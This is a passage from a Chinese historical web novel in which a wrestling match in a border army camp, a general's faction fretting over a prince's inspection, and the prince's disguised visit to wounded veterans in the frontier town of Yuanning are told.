他厉害,与他摔跤的对手也不是易与之辈。对面的沐营将在永定大营之中是出了名的力气大,行宴当夜崔栋还与他打过一场,领教过他的力气,眼下比的又是摔跤这种要力气的项目,可不敢轻敌。 两人双手搭着对方的肩膀,臂膀发力鼓得肌肉都暴起,脚下动作着想要绊对方的脚,企图通过手上以及脚上的配合将对方摔倒或是摔出圈。这两种都是军中摔跤的决胜方式,不过前者是要先行对手将摔倒两次才算获胜,后者则是让对手出圈即为获胜。 如今两人均已先后将对方摔倒在地一次,但都没有能够将对方摔出圈外,再有一次将对方摔倒就能够获胜了。也就是此刻,双方的比拼也陷入了焦灼之中。 周围叫威助阵的将士一对,场中之人势均力敌的搏斗叫他们给看得热血沸腾,一个个激动不已,恨不得上场的人是自己。虽然他们上不了场,却一个个的把力气花在了给比拼双方加油鼓劲上。叫喊声直接分成了两边,一边喊着“都尉威武”,一边喊着“将军必胜”,越是到后面就越是喊声震天,似乎哪边的声音大,哪边就会赢一样。 这样的情况在这半月余的时间里在永定大营之中时有发生,一开始给崔栋鼓劲助威的声音少,但这样的情形在围观的将士们见到崔栋的武勇时立马发生了变化,到最后给他助威的声浪一浪高过一浪。而崔栋也没有辜负这些给他助威的声音,基本都是赢的次数多。 从抵达永定大营到今日也不过月余的时间,崔栋已经在永定大营之中混得如鱼得水了,他不拘小节、豪爽大气,身上几乎看不见勋贵子弟的自高自傲、目无下尘,快速地与永定大营中的年轻将士们打成一团。再加上他那一身的武艺本领,使得不少年轻将领都对他生出了敬服之心。 在周围这一阵高过一阵的喝彩助威的声浪之中,崔栋在与沐营将这场力气与耐力的比拼之中找准机会,抓住沐营将的肩膀,脚下绊住,上下齐齐发力,一个猛力给沐营将来了一个过肩摔,沐营将一阵天旋地转之后后背着地。 胜负已分。 “都尉威武!” “都尉无敌!” 周围瞬间爆发出一阵剧烈的喝彩之声。 沐营将再一次在与崔栋的对战之中输了,不得不在心里感慨“虎父无犬子”。他握住崔栋伸出的手借力顺势起身,赞道:“都尉武勇,老沐我这下是真的服气了。”说着还竖起了大拇指。 “一次你我同袍之间的比试而已,真正的武勇还要在战场之上方能显现。沐将军一锤击碎离渊骑兵将领的英姿我至今遗憾未能亲眼得见。”崔栋说道。 他说的沐营将曾经的辉煌战绩,凭借此功,当时还不是营将的沐营将直升一级,开始在军营之中崭露头角,直至成为营将。如今的沐营将已不算很年轻了,他眼下三十多岁,在永定大营之中担任领兵万人的营将一职,属于永定大营中的上层将领,在他之上就是定襄将军。沐营将在永定大营之中的威望从这次摔跤比试给他鼓劲助威的将士们的热情就足以看出了。 沐营将想不到崔栋竟然知道他曾经的光辉战绩,还是用这种带着敬佩向往的神色配合着语气说出的,心下对崔栋的好感更是“蹭蹭蹭”往上涨,当即豪爽说道:“都尉少年英雄,若是老沐我能与都尉一块上阵杀敌,定能横扫离渊一大片,必定快哉。” 崔栋大笑道:“这有何难。倘若离渊再敢来犯,你我并肩,杀他个人仰马翻、屁滚尿流。” 一场比试下来,两人的关系拉进了不少,你一句我一句的,到最后已经勾肩搭背互相称兄道弟了,甚至还约着有机会了一起喝酒。 这么一团和乐的场面,看得场外一直盯着的人整张脸都要黑完了。偏他们又不能冲上去做什么,只铁青着一张脸强忍胸中升腾的怒气,转身朝主帐的方向走去。 “将军,这些时日江都王与崔栋那厮带着人一直在军营之中转悠,是哪处都要去钻一钻,一个是想方设法想揪你我等人的错处好将我们发落了去,一个则是到处找人比武喝酒,笼络人心,再放任下去,恐怕这永定大营的将士都要被他们笼络大半了去。”这人直冲定襄将军褚之邑的大帐,满脸的不虞与怒火。 谁都知道江都王这趟就是冲着他们来的。这种明知道对方不怀好意却只能满脸堆笑敬着对方的感觉实在是糟心透了。 不过一毛都没有长齐的黄口小儿而已,竟叫他们憋屈至此,当真可恶。 褚之邑正在看悬挂于大帐之中的江都边境地图,他背对着说话之人,久久没有回应。前来之人乃是军中一名姓骆的营将,他是褚之邑亲手提拔起来的,属于心腹之人,也比任何人都抵抗百里漾等人的到来。 他在这里喋喋不休说着百里漾等人这段时间来是如何在永定大营之中钻来钻去的,如何收买人心引得那些年轻将士们对他们敬服不已的。 说得口水都快干了,见褚之邑还是没有什么反应,罗营将干脆一咬牙说道:“将军,我看江都王分明是有意让崔栋取代您的位置,现在所做的一切就是在为崔栋铺路,否则崔栋那厮这段时间在军营里上蹿下跳、与将士们打成一片是为了什么?尤其是那姓沐的,已经与崔栋称兄道弟了。还有那姓安的,这段时间更是频频向江都王示好。” 一个沐营将,一个安营将,两个营将,整个永定大营就五个营将,一下子就被江都王他们笼络去了两个,这如何能行? 罗营将义愤填膺,好似在为褚之邑鸣不平,听得褚之邑直接将手里用来点指地图的圆木杆扔到桌案上,突然发出的“砰”的一声让罗营将都抖了一抖。抬眼对上褚之邑满是阴沉的眼睛,他顿时收声不敢说话了。 “不过月余,他们能做什么,之后还能在这里待多久。军中的人心岂是那么容易收买的?那我们这些年的心思岂不是白费。” 褚之邑在听到要用崔栋取代他的位置时忍不住眉心一跳,但他比罗营将稳得住,见罗营将此时像只惊弓之鸟很是心烦,冷声道,“你慌什么?江都王想查就让他去查。前头已将尾巴扫干净了,只消我们没有把柄落入他们手中,他们又能做些什么?” 褚之邑这么说也是有底气的。虽说他名义上是江都的臣子,江都王天然拥有换下他的权力,但永定大营作为江都抵御离渊的重要防线,地位何等重要,一军统帅,岂能随意更换。再则,如今正是多事之秋,离渊情形不定,临阵换将是大忌,江都王不会这么傻。 江都王若真是这样不管不顾只着眼于眼前之人,褚氏在这几年也不至于愈发难过,定安王也不会如此忌惮于他了。 这么一想,褚之邑又矛盾得紧了。若是江都王能够不顾眼前形势撤了自己的职位,说明他实乃短视愚蠢之人,也能使人向陛下弹劾于他,叫湛京的满朝公卿与陛下知其任性妄为、不堪大用,从而对其失望,那自己这一定襄将军的职位没了反而是大赚特赚。 可失去了定襄将军的褚氏,还撑得到定安王上位掌权的那一日么?不能继续提供价值与帮助的褚氏,定安王还看得上么? 可江都王眼下是如此的清醒理智,他知道自己的位置是暂时稳住了。可这不代表江都王不会做别的事情。 脑海中诸多思绪纷杂几乎是一闪而过,褚之邑当即决定先稳住当下的局面。他看向罗营将,目光很深,问道:“军营中有可能被抓把柄的地方,都清理干净了么?那些伤兵没有乱说什么吧?” “放心吧将军,从知道江都王要来边境时就开始办了。”罗营将当即拍胸脯保证道,又给褚之邑拍马逢迎一回,“到底还是将军英明,未卜先知,预料到这次江都王会对我们有所动作,提前做了布置。” “眼下江都王还在军营之中,所有人都得警醒些。真要是被揪出错处来,我不会保你们,也保不了你们。可明白?”褚之邑再次警告道。 他是褚氏子,褚氏又站队了定安王,与江都王的立场完全相悖,因此他从来都不忌讳于从最坏的角度去考量江都王的一举一动,从而为自己权衡利弊。更何况将心比心,若他处在江都王的位置之上,也不会愿意如他这样的投了竞争对手之人坐在定襄将军如此重要的位子上,一日不换成自己人一日就心难安,犹如枕边卧剑,直指心脏。 可他不是江都王,他现在就是那枕边剑,就如同江都王想除掉他的心情,他亦是坚决不愿意从这位置上被“拿掉”的。 这是一场博弈,局面并不利于他。因为他只能防守以应对江都王随时可能发起的进攻。他只能谨慎再谨慎,防止被吃掉更多的棋子从而被迫收紧地盘。 等过了这一阵,他打退离渊立下战功,之后江都王再想动他的位子就更难了。 “盯紧江都王,还有他带来的那些人,任何一个都不能忽视。”褚之邑说道。 “将军放心,所有人都在盯着呢。只是他们满军营的乱窜总不是个事。”罗营将说道。军营这么大,人员纷杂,纵然是他们想时时刻刻盯着也难免有疏忽来不及的时候。尤其是江都王,他一个椒房所出的正经诸侯王昨日竟自己钻到伙房营中去了,要看将士们平日里吃的是什么,甚至自己还要尝尝咸淡,好在最后没叫他查出什么。 可他收到消息的时候是真的捏了一把汗,心跳都漏掉了一拍,越想越觉得江都王是不是改变主意冲着办他来了。军需物资这一块是他在管着的,但凡有点什么苗头都可以说是他失职。江都王弄不掉褚之邑这个定襄将军,拿掉他一个营将还是不难的。 最近这段时日罗营将真是过的提心吊胆的,每过半个时辰的时间都要打听江都王人在哪里、可有什么动静?这日子真不是人过的,半夜他都被噩梦惊醒,估计没等离渊人打来,他自己就被吓死了。 这次过来本来就是想让褚之邑想个办法,没想到褚之邑一味地只叫他们忍耐再忍耐,就只会说熬过这一阵就好了,说什么江都王他们不会再这里久待的。一点有用的东西都没有。 罗营将心里也烦,但他向来居于褚之邑之下,不敢当面违逆褚之邑的话,带着一肚子躁气怨念离开了。 第105章 远宁城 “大王, 过了这条河不远就是远宁城了。”四野苍茫,风声猎猎,呼啸着从耳边疾驰而过。傅殷骑在马上, 手指着不远处已经能够看见轮廓的城池说道。 百里漾抬眼望去,一座显得灰扑扑的城池出现在视野之中,那就是远宁城。 远宁城是一座边城,建在一条连绵起伏的山脉的最低最平坦处。边关条件恶劣,人口相对内陆要稀少很多, 聚居在此处建立起来的群居之地说是城池不如说是一座简陋的城镇。因为要预防可能随时来犯的离渊, 城墙用不规则的黑灰色大石块垒砌得很高, 表面很不平整,只在中间开了一道口作为城门, 城门左右皆有穿甲持戟的守卫。 城池虽然简陋,但来此地的人却不算少, 有从内陆过来的商人,也有从永定大营过来的将士们。边关这地方因为地理条件等原因物资比不得内陆城池丰富, 否则“苦寒之地”的说法是从哪来的。历来有需求就有市场, 有市场就能赚钱, 商人闻着“商机”便来了。即便来边关的路不好走,路上风险也大,但也意味着利润也很大,自然会有人愿意冒险前来。况且此处还驻扎这几万永定大营的士兵们,他们偶尔得假了也会过来远宁城这边吃喝买卖,与之相关的生意不就做起来了么。 来到远宁城门前,前方立有石碑“来者下马”,百里漾一行十余人便下马接受城门守卫的检查。他们过来的方向一看就是从永定大营过来的,身上穿的都是普通料子, 在出示了永定大营的军牌等凭证之后,守卫便放行了。 百里漾入了城之后没有立即走,而是看守卫核验之后进来的商队之人的身份。 这里到底是边境,难免会有细作之流混进来,城门守卫的职责里有一条核验出入城之人的身份便显得尤为重要了。商队人数多,成分复杂,在这边关之地向来是最容易出事的,核验便要严格细致许多。除此之外便是入城的商队都要收取一定的入城费。 百里漾不急着走也是想看看远宁城的城门哨防情况以及是否存在盘剥入城之人的劣迹。等了将近一刻钟,后来的商队在经过一通身份核验以及交纳了入城费之后被顺利放行了,也没有出现因为入城费而与城门守卫起争执的问题。 百里漾初初还觉得欣慰,可转念一想眼前的和谐景象兴许是个例,能到这里来做生意的商队必然少不了钱财,或许是默认里面的一套规则,又或许是因为江都王巡视边境的消息已经散播开来,他尚在此处故而收敛导致。不能以一概全,随意下判断。 入了城之后就不好骑马了。别看远宁城比不上内陆的城池宽大,街道也窄小,可热闹程度却是不怎么逊色的。城里满打满算拢共就五条街,不仅住人还做生意,吃食、衣物、客店……甚至有的是人在街边寻一块空地往地上铺一块厚实一点的步、摆上东西就开始叫卖起来了。 各色的声音齐齐涌入了耳朵里,一时之间既热闹又嘈杂。 任意一个小地摊上,摆卖什么东西的都有,百里漾一路看过去就见到了不少奇奇怪怪的东西,有兵器、女子的饰物、绣花针、各种石头……甚至还有卖假发的,感觉是摊主把所有的有一丝丝可能卖出去的东西都摆出来了。摆地摊的人也什么人都有,甚至百里漾还见到一些看着就是永定大营的士兵,路上遇到的也不少。 傅殷见状解释道:“永定大营的士卒一月或两月会有一两日的休沐,他们在军营之中待的久了就会跑到这远宁城中来打打牙祭、洗澡沐浴或是淘换些东西回去。一些将士会将从战场上获得的战利品拿来售卖,但是这类人比较少。” 此处的战利品只能是与离渊交战缴获离渊人的物品所得。但在今年六七月之前离渊虽然偶有来犯可基本都是小规模的骑兵过来扫荡一波,哪怕是交战了永定大营出动的也只是小部分人马,最后即便能收缴到战利品也只是小部分,能拿出来卖的就更少了。 傅殷:“城里的商队也会收一些东西,但是给的价钱会低不少。有些人嫌麻烦会直接卖了,有些人则选择自己出售。”而这出售方式显然就是摆地摊。 “你来这远宁城才几趟,竟知道的这么多了。”百里漾是知道傅殷最近几频繁往远宁城跑的,而这也是在他将探查伤兵营的事情交给傅殷之后才有的。他今日来远宁城除了是想来看看,也是因为傅殷向他禀报说查到了一些眉目,线索就在这远宁城之中。 “不瞒您说,我也是前前后后花了不少钱才与这城里的一些人混熟的,成了熟客,他们便会热情许多。”傅殷有点心疼他的荷包,本来就不厚的荷包都快干瘪了。 抵达永定大营的那日夜晚傅殷就直觉伤兵营里的那些伤兵明摆着有事,他察觉到这是一个机会,正打算寻机会向大王禀报就被委派了任务,让他暗中调查伤兵营的事情。他知道这事不能声张,也怕打草惊蛇,便找寻机会再去伤兵营。可永定大营的某些人实在防备得紧,但凡他表现出一丁点的苗头就会有目光紧紧注视着他,明里暗里都有。 从第一次开始傅殷就知道自己不能再有所动作了,之后他对伤兵营再无关注,权当那一次只是意外,时间久了才让那些眼睛放松了对他的警惕。在永定大营里时不可能有进展了,那他便等,等到伤兵们离开军营返回原籍。 按照军规,因伤势过重而不能满足作战要求的士兵在伤势养好之后是要返乡的,而这些人返乡的第一站则是远宁城。虽然律法规定了伤兵们要在一定的时间内必须回到原籍,但考虑到路途的远近以及他们的身体因素,给予他们的时间是很充裕的,从而使得一些伤兵选择在远宁城停留一些时日再离开。可无论如何,他们都是要经过远宁城的。 这远宁城便是傅殷的机会。他一新面孔最好伪装的身份是新来的商人,想从远宁城淘换一些边关特产之物回去卖,这段时日就在城里转来转去,哪里人多就往哪里钻,打探消息,以及找机会接触那些要返乡的伤兵们。 当然,为了使自己的身份更加真实,傅殷真的花钱买了不少远宁城特产之物,若非他确实有点钱,否则还真装不像。幸而功夫不负有心人以及他干瘪的荷包,还真叫他与一群要返乡的伤兵接触上了。 傅殷又道:“那群伤兵有十来人,好些乡籍是同一个县或是邻近的县,又彼此在军营中认识,于是就想着结伴回去,好有一个照应。但他们身上或多或少都有不便,于是先在远宁城落脚,寻找合适的商队,付一笔钱,随着商队一道回去,然后他们便找到了我。” 他选择伪装成新入城的商人也不是随机选的,就连商队行径的路线也是经过了一番查探后才精心设计出来的,为的就是能够吸引到这群要返乡的伤兵。 “按照规定,伤兵返回原籍不是有专人护送么,怎么寻上了商队?”百里漾不解道。他记得没错的话,伤兵退役后要强制返回原籍,但考虑到他们许多人因伤致残而行动不便是由军营或者官府安排人护送回去的。可眼下这群联系到傅殷的伤兵们显然是要跟着商队一起走的。 “禀大王,确是有这么一条规矩。”傅殷解释道,“但此项并非强制要求,也不是所有的伤兵都愿意由军营或官府派人送回原乡籍的。这些不由军营官府派人护送的伤兵会每人得到一笔路费,他们若是省着点用,回到家乡后还能用剩下来的钱补贴不少家用。而选择跟着商队回去是为了安全。能够来到远宁城的商队至少是经过官府查过的,一路上走的又是官道,他们也不会担心有人来劫。” 这个世道任何时候都不会缺见财起意从而杀人劫财的事情。这群伤兵本来就是因伤从战场上退下来的,身上有各自都有一笔钱财,免不了会有强人盯上他们要劫夺钱财。而按照大衍律法,劫夺伤兵钱财是要处斩的,因此,一旦有人敢这么做了,往往是要杀人灭口的,防止有活口后面把他们认出来招来官府的通缉。这里面潜在的风险太大了,伤兵们不可能不害怕,所以要想方设法保住自己、保住钱财。 至于为什么不愿意让军营或者官府派人将他们护送回原籍,一方面是伤兵们想要得到那笔遣返的路费,而另一方面则是伤兵们也不太相信那些护送他们回去的士兵或者官兵。遇到强横心黑的,这一路上干什么都是对方说了算,甚至还有可能会被勒索钱财,除了身上没有戴枷锁,比流放的犯人好不到哪里去。没得等回到家了,钱财不剩多少,反而受了一路的气和罪。而这种情况对于那些伤残眼中的伤兵来说还不如死了,回家还要拖累家人。 这些内情傅殷没有直接说出来,但有些事情没有必要完全说明白,点到为止就差不多了。他不确定说多了上位者会不会因此厌烦,这样对他并没有什么益处。 百里漾猜想其中必然有内情,伤兵们找商队一路回原籍也必然有他们这么做的考虑,傅殷没有说的那部分他也想到了,心中不免沉重。这个时代并不美好,它高度讲究等级秩序,这对于底层的百姓而言并不友好,他们大多数都是受压迫的对象。 伤兵们选择跟随商队回乡算起来也是无奈之举,他们的顾虑太多,而引发这些顾虑的事情也必然是曾经发生过且不会彻底消失的。于他们而言,跟随商队回乡就完全的安全无虞么?自然不是,商队也有黑心的,商队对于伤兵们也是强势的存在,过往也不是没有过杀人劫财的商队。这些都是风险。诸多考虑后,伤兵们只是选择了一种风险相对没有那么大的路。 这种情况是必然存在的,即便是百里漾如今知晓了这个情况想要有所改善也很难。他如今能够号令的也只是江都这一个藩地而已,且在江都这地界里也不是所有人都会愿意听他的,阳奉阴违的大有人在,更别说面前还杵着一个褚氏想要与他处处作对。 可这事也不能真的放着不管。他既知道了就没有放任的道理,总得让那些不法之人有所敬畏才行,哪怕不能吓退所有人,也能改善一些当前的境况。 “他们现在人在何处?”百里漾暂且撇开脑中思绪,问道。 “臣同他们说这两日还需在远宁城中淘换些东西回去,后日才能出发。如今他们正居住在前面一条街上的一家客店之中。”傅殷伸手指着不远处一家挂着旗子的客店说道。 他的商人身份只是伪装的,当然为了装得像些也找了城中一支商队来假装一下。商队是真的,也同样住在那家客店里,只是他这个商队领队是冒充的。半真半假的,反而更容易取信于人。那些伤兵也信了他的身份。 傅殷拖这两日也是为了让百里漾过来亲自看看,否则等人走了,一切不能说白费,但也差不多要重新开始。而且时间一久暴露的风险就越大,褚氏的那些人本来就在防备着他们,若是走漏风声再引来那些人,那一切就真的是徒劳无功了。 “我们过去。”百里漾稍稍抬眼便看见那家客店,以他的目力可以很清楚地看见墙边上插着的旗子上写着“高”字。这时候很多像这种懒得取名字的店铺,只简单地以店主人家的姓氏为名的,如“陈记煎饼”、“刘家裁缝铺”、“张家酒楼”这样的比比皆是,前面的这家客店就是“钱家客店”。 所谓客店,在这远宁城中即是包揽了歇脚、住宿、酒食、洗澡等一系列服务项目的总成之地,因而占地颇为宽广,别看客店的门脸小,但进去就会发现里面宽阔得很,从街道外面向里能看到的只是客店用来招待客人以及服务进来吃食的客人的厅堂而已。 远宁城毕竟只是一座小城,又紧邻着边境,往来这里的人有很大一部分是永定大营的士兵们,要么就是跑远路的客商,没有那么多讲究,更多追求的是简单直接。像客店这种地方直接就满足了他们绝大多数的需求,不用东跑西跑,方便得多。 傅殷此刻像一个尽职尽责的向导,时不时为百里漾解惑,就比如这家客店。他说道:“这高家客店是远宁城之中最大的五家客店之一,它背后的主家据说是江都高家的人,没什么人敢惹,从内地过来的高家商队也是在此处修整补给的。” 百里漾道:“你冒充的商队也是高家的?” 傅殷特意提这一嘴显然不是无的放矢,百里漾不用多想便猜出来了。伤兵们住在高家人开的客店,里面又有高家的商队,哪里有这么巧的事情。而这里面更深层次透露出来的信息是傅殷得到了高家的帮助,否则他一个外来没多久的人怎么知道这么多、行事还如此顺利。 “臣在这城中时偶遇了曾经与臣同在郡国学求学的高家同窗,被他认了出来。他猜出我隐藏身份在此秘密行事,愿意提供配合。臣自作主张,请大王降罪。”周围俱是来往之人,他们此次又是微服前来,未免暴露,傅殷只是低头请罪。 百里漾之前就觉得傅殷行事也太过顺利了。他只是一个随行起来的小官而已,远宁城也是第一次来,人生地不熟的,不过月余时间就取得如此快的进展,未免奇怪。现在听他这么一说,敢情是遇到昔时的同窗了,还是高家人,被认出来也不奇怪。 高家也是江都本地的世族之一,虽然最近这些年在走下坡路,但江都的这些大族里就没有几个是不与褚氏有联结的,即便是如今的高家也是如此。傅殷正是因此才向百里漾请罪的。因为确实是他擅自做主与高家的商队联系并让他们帮忙打配合,而这样做会有使得他们要做的事情败露导致失败的风险。 百里漾眸光变冷,“我只问你,你这高姓同窗可信否?” “臣以项上人头担保,若事泄,臣愿枭首以谢罪。”傅殷说道。 “用人不疑疑人不用。卿既相信自己的眼光,我亦如是。”百里漾拍拍傅殷的肩膀,“走吧,带我去见见那些人。” “谢大王。”傅殷欢喜道,在前引路,“大王请随我来。” 一行人穿过一楼的厅堂往内走去。他们人多还是挺令人注目的,只是瞧着像是商队,远宁城这样的人并不少,故而在一楼厅堂的食客们只是多看了两眼就收回目光管自己吃喝或是扭头与同伴继续说话了。 客人们不管,小厮们却不能无动于衷。打头先迎上来一个小厮询问百里漾等人是要打尖还是住店,更有眼尖的见到人群中的傅殷赶忙去找掌柜的去了。很快一个衣料穿着颇为讲究的清瘦中年男子出来,傅殷见到他连忙与百里漾说了一声便过去了。 傅殷过去与那掌柜说了几句话,那掌柜对着百里漾遥遥拱手作礼。没过多久傅殷便回来了,随后就过来一个小厮到近前道:“客人请随我来。” 百里漾看向傅殷,傅殷禀道:“店家将他们安排在稍僻静的地方,此去不会有人打扰我们。” 百里漾对着他颔首,算是认可了他的做法。 一行人在小厮的带领之下穿过厅堂连接后院的帘门,进入到客店的住宿区。这家客店提供住宿的地方很宽敞,客房都是在二楼,再后面还有厨房、马厩、水房等地方。那些即将跟随高家商队回原乡籍的退役伤兵们就住在二楼最靠后的两间客房里,彼此就隔着一堵墙,若真是发生了点什么大喊一声隔壁就能听到直接冲过来。 第106章 伤兵们 走楼梯上二楼, 百里漾带来的十几个护卫就显得多了。他略作思索,只让其中四个最能打的跟着一起上去。到了房门前,小厮将他们领到地方便告退了。 傅殷上前敲门, 不急不缓。很快里面有了动静,不多时有人过来开门,略带着警惕的目光在看到傅殷时稍稍减退了些,却在看到他旁边的百里漾以及四个人高马大的护卫时瞳孔一缩,但也算镇定, 打招呼道:“原来是傅领队, 有什么事么?” 傅殷让出了自己身后的百里漾, 主动介绍道:“这位是此次统筹我们商队上下的高少东家,他听说了你们要随商队一起返回内地的事情便想来看看。” 他张口就给百里漾套上了一层商队少东家的身份, 这也是来的时候商量好的,否则要见到这些伤兵并不容易, 更别说还要从他们嘴里问出些什么来了。 开门的汉子再次看向百里漾以及他身后的护卫,经过一阵沉默的思索后将门打开了, “几位请进。” 百里漾踏进门后发现这房间里除了开门的汉子外还有五个人, 他们或躺或坐, 大多面部表情都很木愣,近似一种生活无望的呆滞,但在看到百里漾几人时却马上警惕起来,有些甚至下意识地用手在腰带的位置做出磨蹭抓取的动作,或是紧紧抓住了胸襟位置的衣服。此外他们都还有一个共同点,那就是袖管或者裤管有一边是空荡荡的,衣服穿在他们身上总有一种空荡感。 一群人里总有说得上话的领头之人。房间内间的门帘掀开,走出来一个手提着陶药罐的方脸男人。看着年纪不超过三十岁,脸上有一道从右眼皮下横过鼻梁贯至左脸鬓角下方的疤痕, 整个鼻子几乎从鼻骨中间断裂开,看着极为骇人。百里漾长年习武,一眼就看出他这脸上的伤疤是被大刀迎面斜劈所致。若非此人在情形危急之下身子向后避开一点距离,整个面骨都要被劈开,十有八九是活不下来的。 “阁下是?”这人看着百里漾,目光中是谨慎的打量。他之前在里面熬药,身上带着一股苦涩的药味,显然是不知道百里漾的身份。但他认识傅殷,当即热情地打招呼,抱拳问道:“傅领队,这位公子是?” “在下姓高,在家中行五,乃是此次商队的负责人。”百里漾扬起笑容,自我介绍道,“听闻此次商队之中有几位从永定大营退下来的军爷随行回乡,我有些不放心,所以过来看看。” “不放心?!你不放心什么!” “我们是堂堂正正从军营里退下来的,又不是没有钱给你们,有什么好不放心的。” “之前不是已经商量好了么,怎么又想变卦?” 百里漾的话像是直接引燃了引线,招致了不少人的怒目而视,那些或躺或坐的人“腾”地一下就站起来,眼睛直勾勾地盯着百里漾看,话里的气势很足,但不少人紧张惶恐的眼神却泄露了他们真实的内心。 见此情景,百里漾不由心中一叹,面上却赶紧解释道:“诸位误会了,在下并非是那个意思。诸位皆是为我大衍保卫边境、抵御离渊的勇士,如今愿意搭乘我这支商队回乡,荣幸还来不及,岂会有不愿嫌弃之意。只是在下乃头一回出门行商,经验不足,商队条件简陋,担心有不妥当之处怠慢了诸位,这才想着过来看看。方才失言,请诸位见谅。” 他好言好语,又表现出来一副敬重英勇之士的姿态,目光不偏不倚直视众人,解释了来由。这些退役的士兵一下子就被他的话安抚了下去,又因为误会了他,颇觉不好意思,对待他也没有一开始的警惕了。 一时之间没有人说话,气氛沉默中不免有些尴尬。这时傅殷适时开口为他们圆场,缓和气氛,“我家公子年少习武,自小便向往沙场征战,杀寇退敌,只是要奉养双亲,不得成行。但他一直仰慕诸如各位这样的勇士,听闻我擅自做主让诸位随行还收取银钱,劈头盖脸将我骂了一顿,又担心有怠慢诸位之处,这才匆匆赶来。” 他面上满是愧疚不已的神色,“公子教训的是,诸位都是为大衍抛洒热血的勇士,我竟还要收取你们的银钱,实在惭愧。” “傅领队不要这么说,一码归一码,我们搭乘商队本就是寻求庇护,付些银钱也是应该的。”拿着陶药罐的男人说话了,他看向百里漾,将陶药罐放到一边,抱拳道,“高公子仁义,傅领队为我们安排的一切都很好,我和兄弟们并没有受到怠慢。” 他为傅殷说好话,确实是因为傅殷这段时间以来很照顾他们,不愿意让百里漾这个少东家怪罪于傅殷。至于百里漾说的免收银钱之事,他不肯,坚持按照此前商量好的方案来。 百里漾也没有坚持。这种看着像是天上掉馅饼的好事换作别人可能会欢天喜地接受下来,但是对于处在如今处境下的伤兵们来说反而会让他们更不安心。宁可花点钱,好让自己心安,以及之后的路途上真出了什么事情也不至于会被动。 刀疤男人这么一开口,旁边的伤兵们都纷纷附和,现在反倒是有点害怕百里漾代表的高家商队不愿意收他们钱了。 周围的人变多了,原来是旁边房间里的伤兵听到消息也都过来了。一时之间,这个房间因为挤进太多人而显得拥挤了。 刀疤男人忙请百里漾几人坐下来。一般来说,待客是要奉茶的。寻常人家没有权贵高门的那种精制茶叶,但许多人家自己会炮制一些粗糙的茶叶用以待客。这些伤兵只是暂时居住在这里,找了一圈连粗制的茶叶也没有找到。最后是刀疤男人捧来一杯水给百里漾,“条件简陋,只能以清水待客,希望高公子不要嫌弃。” 百里漾自然不会嫌弃,接过后在所有人的注目之下一口气喝干了,笑道:“一路过来正好口渴了,此水恰好解渴。” 他喝了这杯水之后,房间里的气氛顿时为之一松。 接下来,他们之间的对话就轻松容易许多了。 “最近的路不太好走,各处关卡哨防都比之前严格繁杂了许多,据说是因为离渊那边的情形不太好,战事随时都有可能会起来。”百里漾叹道。在他说这句话之前,为了完善他们的伪装的人设,说了商队返程的安排,这也是这群返乡的伤兵最关心的事情。 虽然百里漾和傅殷这两个人在商队里是冒充的,但商队的返程安排却不是假的。这些伤兵一个个竖起耳朵听得极其认真,确定返程路线都经过他们的县乡时,皆松了一口气,眼里都闪出了喜悦的光亮。 “离渊那帮该死的混账!若是老子我还在军营,让我出战,哪怕把命豁出去也要让他们那些崽种的尸体通通留在战场上。” 若说大衍之中有谁对离渊恨得最是咬牙切齿,除了经常被离渊骑兵劫掠的边境人民就是直面他们的军营将士。就如这些退下来的伤兵们,他们曾经受过的伤、他们如今身上的残缺都是因为离渊。若非离渊经常南下劫掠边民,他们这些人也不需要离开家人、背井离乡跑到这苦寒之地守边御敌了。 “离渊人每年都来,很多时候都是跑来抢了东西就走,可今年不太一样,来的次数明显比往年多了许多。前几月更是组织了大规模的骑兵来犯,我们这些人都是因为之前打离渊才变成这样的。” “听说是离渊大汗要死了,他底下的王子都想争汗王之位,这才疯狂地来进犯我们大衍。还有消息说,等离渊那边选出新的大汗,他也势必是要领兵大肆来犯的。”刀疤男人脸色沉重。 离渊就在大衍的北方,又是时时刻刻都在展现出它觊觎大衍这片土地的勃勃野心,迫使大衍这边不得不每年投入大量的人力物力以应对离渊的来犯。边境驻守的士兵是长年处在直面离渊人进犯的第一线,他们要时刻关注离渊人的消息和动向,不断调整兵力以及战略部署。 虽然乞罗扎汗病重将死、底下子侄争位是离渊最上层的事情,不易为人所知晓,但事情闹到现在,这里又是江都边境、最靠近离渊的地方,消息也传的差不多了。 战事就意味着打仗,打仗就会死人。以前偶尔来犯的离渊骑兵与大规模的战事比起来只能算是小打小闹,就这样也还是断断续续会产生伤亡。若真是发展到两军对垒的那一日,且不论输赢,最终不知道要死多少人。 没有人愿意打仗,士兵们也不想打仗。他们大多数都有父有母、有妻有子,都只想过老婆孩子热炕头的平静生活。 “不过那些与我们没有多大关系了。我们现在只想回家,只要让我们平安回到家就好了。” “是啊是啊,去年我婆娘来信说生了一个儿子,我还没有见过他呢。也不知道会长多大了,我这样回去他们还认不认得出来我?” “我阿娘上次来信说我爹的老寒腿越来越严重了,也不知道眼下怎么样了?” “我也是,上次家里来信说四妹准备议亲了。这会儿也不知道出嫁了没有?我这次回去说不得能送她出嫁。” …… 一群退役的伤兵们纷纷憧憬起了回家之后的美好生活。他们离开家太久了,少的三年,长的七年乃至十年的都有。如今虽然伤了残了,但比起那些连性命都丢掉的同袍来说已经太好了,更别说他们此次退下来得到了比以往还要丰厚的遣归银,家里的赋税也得到了减免。 而这一切都是因为江都王。 “之前军营迟迟不提遣归银的事情,我们还以为这次又要被他们拿走……后来才知道是大王要亲自核验过伤亡和军功的情况再做定夺。这次有大王在看着,那些人不敢做什么,银子都一文不差地发到了我们手里。这在之前是从来没有过的事情。” “王五,说这些做什么。”刀疤男人陡然提高音量喊了刚刚说话之人的名字,更像是提醒。 王五当即意识到自己说漏了话,让回家的喜悦冲昏头脑忘记这房间里还有外人。虽然柱哥说他们算是可信的商队,但是防人之心不可无,他们这种情况无论何时都要保持警惕。这里还是远宁城,说白了还在永定大营的范围之内,凡事还是小心些较好。 突然之间,头先还在纷纷说着话的人直接就噤声了,眼神之中有带出了之前的警惕防备。 听到这群人提到了自己,他们的遣归银也如实发下来,百里漾的心中欣慰,却又在下面听到了军营内部有克扣军饷的事情,正想出声问点什么,但看到这些人闭口不言的状态只好放弃了。 不过,他倒是多看了那刀疤男人一眼。 那刀疤男人察觉到了他的目光,直直看了过来,与百里漾对视。 两人对视,相互微笑致意,随后便移开了目光。 百里漾心想,这倒是一个人物。这些伤兵能以他马首是瞻不是没有道理的。眼下他们如此警觉,想来今日是不会有什么收获了。 百里漾几人在这里没有坐多久就离开了。刀疤男人亲自送他们到楼下,看着一行人离开的背影离去。傅殷回身冲他招了招手,示意他不必送了。 